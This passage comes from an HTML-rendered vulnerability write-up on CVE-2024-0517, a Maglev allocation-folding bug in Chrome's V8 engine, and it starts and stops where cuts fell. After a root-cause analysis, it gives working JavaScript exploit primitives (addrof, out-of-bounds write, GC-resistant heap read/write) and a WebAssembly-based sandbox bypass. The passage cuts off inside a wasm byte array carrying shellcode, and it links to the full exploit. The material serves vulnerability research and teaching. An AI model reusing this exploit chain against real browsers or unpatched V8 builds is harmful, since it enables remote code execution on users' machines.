       <span class="mi">102</span><span class="o">/</span><span class="mi">92</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
      <span class="mi">127</span><span class="o">/</span><span class="mi">129</span><span class="p">:</span> <span class="nx">FoldedAllocation</span><span class="p">(</span><span class="o">+</span><span class="mi">20</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">127</span><span class="o">-</span><span class="mi">135</span><span class="p">]</span>
          <span class="mi">195</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">128</span><span class="o">/</span><span class="mi">130</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a400000829</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">(</span><span class="nx">FIXED_DOUBLE_ARRAY_TYPE</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v127</span><span class="o">/</span><span class="nx">n129</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">196</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v17</span><span class="o">/</span><span class="nx">n47</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">129</span><span class="o">/</span><span class="mi">131</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v127</span><span class="o">/</span><span class="nx">n129</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v17</span><span class="o">/</span><span class="nx">n47</span><span class="p">:[</span><span class="nx">rdx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">197</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v36</span><span class="o">/</span><span class="nx">n132</span> <span class="err">→</span> <span class="p">[</span><span class="nx">xmm0</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">f64</span><span class="p">])</span>
      <span class="mi">130</span><span class="o">/</span><span class="mi">133</span><span class="p">:</span> <span class="nx">StoreFloat64</span><span class="p">(</span><span class="mh">0x8</span><span class="p">)</span> <span class="p">[</span><span class="nx">v127</span><span class="o">/</span><span class="nx">n129</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v36</span><span class="o">/</span><span class="nx">n132</span><span class="p">:[</span><span class="nx">xmm0</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">f64</span><span class="p">]]</span>
          <span class="mi">198</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">stack</span><span class="p">:</span><span class="mi">3</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">131</span><span class="o">/</span><span class="mi">134</span><span class="p">:</span> <span class="nx">FoldedAllocation</span><span class="p">(</span><span class="o">+</span><span class="mi">36</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">r8</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">131</span><span class="o">-</span><span class="mi">139</span><span class="p">]</span>
          <span class="mi">199</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">r8</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">132</span><span class="o">/</span><span class="mi">135</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a40010ee25</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">16</span><span class="p">](</span><span class="nx">PACKED_DOUBLE_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v131</span><span class="o">/</span><span class="nx">n134</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
</code></pre></div></div>

<h3 id="source-code-analysis">Source Code Analysis</h3>

<p>The vulnerability is found within the optimization flow when the child constructor is called through the <code class="language-plaintext highlighter-rouge">VisitFindNonDefaultConstructorOrConstruct()</code> function.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">MaglevGraphBuilder</span><span class="o">::</span><span class="n">VisitFindNonDefaultConstructorOrConstruct</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">ValueNode</span><span class="o">*</span> <span class="n">this_function</span> <span class="o">=</span> <span class="n">LoadRegisterTagged</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">ValueNode</span><span class="o">*</span> <span class="n">new_target</span> <span class="o">=</span> <span class="n">LoadRegisterTagged</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="k">auto</span> <span class="n">register_pair</span> <span class="o">=</span> <span class="n">iterator_</span><span class="p">.</span><span class="n">GetRegisterPairOperand</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
  
<span class="c1">//[1]  </span>
  <span class="k">if</span> <span class="p">(</span><span class="n">TryBuildFindNonDefaultConstructorOrConstruct</span><span class="p">(</span><span class="n">this_function</span><span class="p">,</span> <span class="n">new_target</span><span class="p">,</span>
                                                   <span class="n">register_pair</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
<span class="c1">//[2]  </span>
  <span class="n">CallBuiltin</span><span class="o">*</span> <span class="n">result</span> <span class="o">=</span>
      <span class="n">BuildCallBuiltin</span><span class="o">&lt;</span><span class="n">Builtin</span><span class="o">::</span><span class="n">kFindNonDefaultConstructorOrConstruct</span><span class="o">&gt;</span><span class="p">(</span>
          <span class="p">{</span><span class="n">this_function</span><span class="p">,</span> <span class="n">new_target</span><span class="p">});</span>
  <span class="n">StoreRegisterPair</span><span class="p">(</span><span class="n">register_pair</span><span class="p">,</span> <span class="n">result</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function is executed by Maglev when Ignition generates an instruction called <code class="language-plaintext highlighter-rouge">FindNonDefaultConstructorOrConstruct</code> for optimization purposes.</p>

<p>At step 1, Maglev runs the <code class="language-plaintext highlighter-rouge">TryBuildFindNonDefaultConstructorOrConstruct()</code> function with the received value. If this function optimizes successfully, it returns a value; if it fails, the flow continues to step 2. Step 2 instructs Ignition to implement the opcode for the instruction again.</p>

<p>The <code class="language-plaintext highlighter-rouge">TryBuildFindNonDefaultConstructorOrConstruct()</code> function calls <code class="language-plaintext highlighter-rouge">BuildAllocateFastObject()</code> to allocate objects.</p>

<p>This function merely allocates objects and internally calls the <code class="language-plaintext highlighter-rouge">ExtendOrReallocateCurrentRawAllocation()</code> function to determine whether allocation folding should occur using the <code class="language-plaintext highlighter-rouge">current_raw_allocation</code> pointer.</p>

<p>Once the allocation is complete, the pointer should be initialized, but there is no part to initialize it. Consequently, during the next allocation, an unintended allocation folding occurs due to the uninitialized <code class="language-plaintext highlighter-rouge">current_raw_allocation</code> pointer (i.e., the array <code class="language-plaintext highlighter-rouge">a</code> is allocated at the wrong place), leading to an OOB write.</p>

<h2 id="exploit">Exploit</h2>

<h3 id="triggering-the-vulnerability">Triggering the Vulnerability</h3>

<p>In the vulnerability analysis section, we confirmed that an OOB write occurred.</p>

<p>Full-exploit code is <a href="https://github.com/WHS-SEGFAULT/WHS-SEGFAULT.github.io/blob/main/_posts/v8/CVE-2024-0517/exploit.js">here</a>.</p>

<center> <img src="https://github.com/user-attachments/assets/61a32f48-8f3c-408c-8e2b-b26f514b7a91" /> </center>
<p><br /></p>

<center> <img src="https://github.com/user-attachments/assets/574d05eb-ab29-4ed3-ac49-9cdc5b70041e" /> </center>
<p><br /></p>

<p>When the vulnerability is triggered, the result shown in the above picture appears. Now, arrays <code class="language-plaintext highlighter-rouge">x</code> and <code class="language-plaintext highlighter-rouge">a</code> share the same memory location. This will cause type confusion between objects, allowing us to implement primitives for exploitation. Afterward, we will use these primitives along with WebAssembly to perform the exploit.</p>

<h3 id="type-confusion">Type Confusion</h3>
<p>Type confusion occurs when memory at the same location is used by two objects of different types. Currently, the x array and the a array are sharing memory at the same location.</p>

<p>The x array stores objects and is of the packed_elements type, while the a array stores floats and is of the packed_double_elements type.</p>

<p>Let’s explore what happens when the types differ with an example.</p>

<p>Suppose we insert an object, say “test”, into index 0 of the x array. The x array stores either objects or integers, but since we are dealing with empty objects, it stores an object. When storing an object, the address of the test object is written to the elements.</p>

<p>On the other hand, the a array reads data as 8-byte floats. If it reads the memory at the same location, it will interpret the data as a floating-point value of type double, which spans 8 bytes. Since this memory was originally holding the address of the test object, part of the 8 bytes will represent that address.</p>

<h3 id="implementing-primitives">Implementing Primitives</h3>

<h4 id="initial-addrof-primitive">Initial Addrof Primitive</h4>

<p>This primitive allows the attacker to leak the address of a JavaScript object.</p>

<p>When the exploit is triggered, as explained in the type confusion section, the following two arrays overlap:</p>
<ul>
  <li>The elements backing buffer of the x object</li>
  <li>The metadata and backing buffer of the a array</li>
</ul>

<p>Thus, we can write data as an object into the x array’s elements and access it via the a array, reading it as a double.</p>

<p>Key JS code for this primitive:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">corrupted_instance</span><span class="p">.</span><span class="nx">x</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
  <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">corrupted_instance</span><span class="p">.</span><span class="nx">a</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="k">return</span> <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>A key point to note here is that the V8 heap compresses all object pointers to 32-bit values. Therefore, this function reads a pointer as a 64-bit floating-point value and extracts only 32 bits, which contains the address itself.</p>

<h4 id="initial-write-primitive">Initial Write Primitive</h4>

<p>Once the length of the array is overwritten, out-of-bounds (OOB) read/write becomes possible.</p>

<p>This is because overwriting the length doesn’t immediately change the array, but it allows us to insert values at any index.</p>

<p>Therefore, we create another array, let rwarr = [1.1, 2.2, 2.2], and by finding the offset from the start of the a array to the metadata of the rwarr array, we can overwrite it with the desired value.</p>

<p>The corresponding code is as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//code for considering only the case : addr_rwarr &gt; addr_a</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">addr_rwarr</span> <span class="o">&lt;</span> <span class="nx">addr_a</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">//calc offset</span>
<span class="kd">let</span> <span class="nx">offset</span> <span class="o">=</span> <span class="p">(</span><span class="nx">addr_rwarr</span> <span class="o">-</span> <span class="nx">addr_a</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0xc</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="nx">offset</span> <span class="o">%</span> <span class="mi">8</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span>
        <span class="nx">offset</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">offset</span> <span class="o">=</span> <span class="nx">offset</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">offset</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">//our a array has one of 1.1</span>
<span class="nx">offset</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>

<span class="kd">let</span> <span class="nx">marker42_idx</span> <span class="o">=</span> <span class="nx">offset</span><span class="p">;</span>

<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">marker42_idx</span><span class="p">);</span>

<span class="c1">//declare and assign</span>
<span class="kd">let</span> <span class="nx">b64</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">buffer</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">zero</span> <span class="o">=</span> <span class="mi">0</span><span class="nx">n</span><span class="p">;</span>

<span class="c1">//write primitive</span>
<span class="kd">function</span> <span class="nx">v8h_write64</span><span class="p">(</span><span class="nx">where</span><span class="p">,</span> <span class="nx">what</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">b64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">zero</span><span class="p">;</span>
        <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">a</span><span class="p">[</span><span class="nx">marker42_idx</span><span class="p">];</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x6</span><span class="p">)</span> <span class="p">{</span>
                <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">where</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
                <span class="nx">a</span><span class="p">[</span><span class="nx">marker42_idx</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
                <span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">where</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
                <span class="nx">a</span><span class="p">[</span><span class="nx">marker42_idx</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="p">}</span>
        <span class="nx">rwarr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">what</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="gc-resistance">GC Resistance</h4>
<p>While executing our JavaScript code, if the Young Space becomes full, Garbage Collection may be triggered. When that happens, the positions of the objects may change, causing the primitives we created using offsets to stop working. To prevent this, we implement primitives that persist even after Garbage Collection by creating three new objects and linking them together.</p>

<p>The following code ensures that the Changer’s elements point to the Leaker object, and the Leaker’s elements point to the Holder object. Then, the x array, a array, and rwarr array have their length set to 0 for initialization. By initializing the arrays, we prevent the Garbage Collector from detecting the corrupted objects.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//create 3 objects</span>
<span class="kd">let</span> <span class="nx">changer</span> <span class="o">=</span> <span class="p">[</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">2.2</span><span class="p">,</span><span class="mf">3.3</span><span class="p">,</span><span class="mf">4.4</span><span class="p">,</span><span class="mf">5.5</span><span class="p">,</span><span class="mf">6.6</span><span class="p">]</span>
<span class="kd">let</span> <span class="nx">leaker</span>  <span class="o">=</span> <span class="p">[</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">2.2</span><span class="p">,</span><span class="mf">3.3</span><span class="p">,</span><span class="mf">4.4</span><span class="p">,</span><span class="mf">5.5</span><span class="p">,</span><span class="mf">6.6</span><span class="p">]</span>
<span class="kd">let</span> <span class="nx">holder</span>  <span class="o">=</span> <span class="p">{</span><span class="na">p1</span><span class="p">:</span> <span class="mh">0x1234</span><span class="p">,</span> <span class="na">p2</span><span class="p">:</span> <span class="mh">0x1234</span><span class="p">,</span> <span class="na">p3</span><span class="p">:</span> <span class="mh">0x1234</span><span class="p">};</span>

<span class="c1">//get addr of objects</span>
<span class="kd">let</span> <span class="nx">changer_addr</span> <span class="o">=</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">changer</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">leaker_addr</span> <span class="o">=</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">leaker</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">holder_addr</span> <span class="o">=</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">holder</span><span class="p">);</span>

<span class="c1">//corrupt that objects</span>
<span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">holder_addr</span><span class="p">;</span>
<span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">original_leaker_bytes</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

<span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">leaker_addr</span><span class="p">;</span>
<span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>

<span class="nx">v8h_write64</span><span class="p">(</span><span class="nx">changer_addr</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="nx">v8h_write64</span><span class="p">(</span><span class="nx">leaker_addr</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">original_leaker_bytes</span><span class="p">);</span>

<span class="c1">//fix the corruption to the objects in Old Space</span>
<span class="nx">x</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nx">a</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nx">rwarr</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>Now, let’s briefly explain how these three objects work.</p>

<p>Since the Changer object’s elements pointer was changed to point to the Leaker object, accessing the Changer’s elements array will lead to the Leaker object.</p>

<p>Therefore, Changer[0] will not be 1.1, but rather correspond to the leaker_obj_addr + size value. Similarly, Leaker[0] will not be 1.1, but will instead point to the Holder object’s elements plus in-object property 1.</p>

<h4 id="final-heap-readwrite-primitive">Final Heap Read/Write Primitive</h4>
<p>This primitive functions similarly to the initial one, but is now implemented using the objects we created to be resistant to Garbage Collection.</p>

<p>In the v8h_read64 function, we change the Changer’s index 0 to point to the Leaker’s elements, allowing us to read the data at that location.</p>

<p>The v8h_write function is an extended version of the read function, allowing us to write data to that location as well.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">v8h_read64</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">original_leaker_bytes</span> <span class="o">=</span> <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Number</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

        <span class="kd">let</span> <span class="nx">ret</span> <span class="o">=</span> <span class="nx">leaker</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">original_leaker_bytes</span><span class="p">;</span>
        <span class="k">return</span> <span class="nx">f2i</span><span class="p">(</span><span class="nx">ret</span><span class="p">);</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">v8h_write</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">original_leaker_bytes</span> <span class="o">=</span> <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Number</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

        <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">leaker</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Number</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span>
        <span class="nx">leaker</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">original_leaker_bytes</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="final-addrof-primitive">Final Addrof Primitive</h4>

<p>This primitive is used to obtain the address of an object, just like the previous addrof primitive.</p>

<p>The earlier primitive achieved this by causing type confusion between the x and a arrays.</p>

<p>However, since we have now initialized these arrays and are no longer using them (to avoid detection by the garbage collector), we use the newly created Changer, Leaker, and Holder objects to implement the addrof primitive.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addrof</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">holder</span><span class="p">.</span><span class="nx">p2</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
        <span class="kd">let</span> <span class="nx">ret</span> <span class="o">=</span> <span class="nx">leaker</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
        <span class="nx">holder</span><span class="p">.</span><span class="nx">p2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">return</span> <span class="nx">f2i</span><span class="p">(</span><span class="nx">ret</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="exploit-1">Exploit</h3>

<p>With all the primitives implemented, we can now use them to bypass V8’s sandbox mitigation (ubercage).</p>

<p>To bypass the sandbox, we will use WebAssembly.</p>

<p>The reason for using WebAssembly is that to execute shellcode, we need to move the pointer to an area with execution permissions. Such areas exist in optimized code sections but also in the RWX (read-write-execute) region created when a WebAssembly instance is generated. By overwriting the pointer that points to the RWX region within this WasmInstance, we can redirect the execution flow to the location of our shellcode.</p>

<p>Note: This exploit method was used before updates were made to the sandbox. Currently, WasmInstances no longer store pointers to RWX regions, so a new exploit method must be devised. Additionally, the offsets of the various addresses vary depending on the version of V8, so those must be determined through analysis.</p>

<p>To carry out the exploit, two WasmInstances are created. One will store the shellcode, while the other will have its RWX pointer overwritten to point to the shellcode’s location. Once this is done, executing a function from the latter instance will redirect execution to the manipulated RWX pointer, causing the shellcode to run.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">shell_wasm_code</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span>
    <span class="mi">0</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">133</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">130</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">59</span><span class="p">,</span> <span class="mi">88</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> 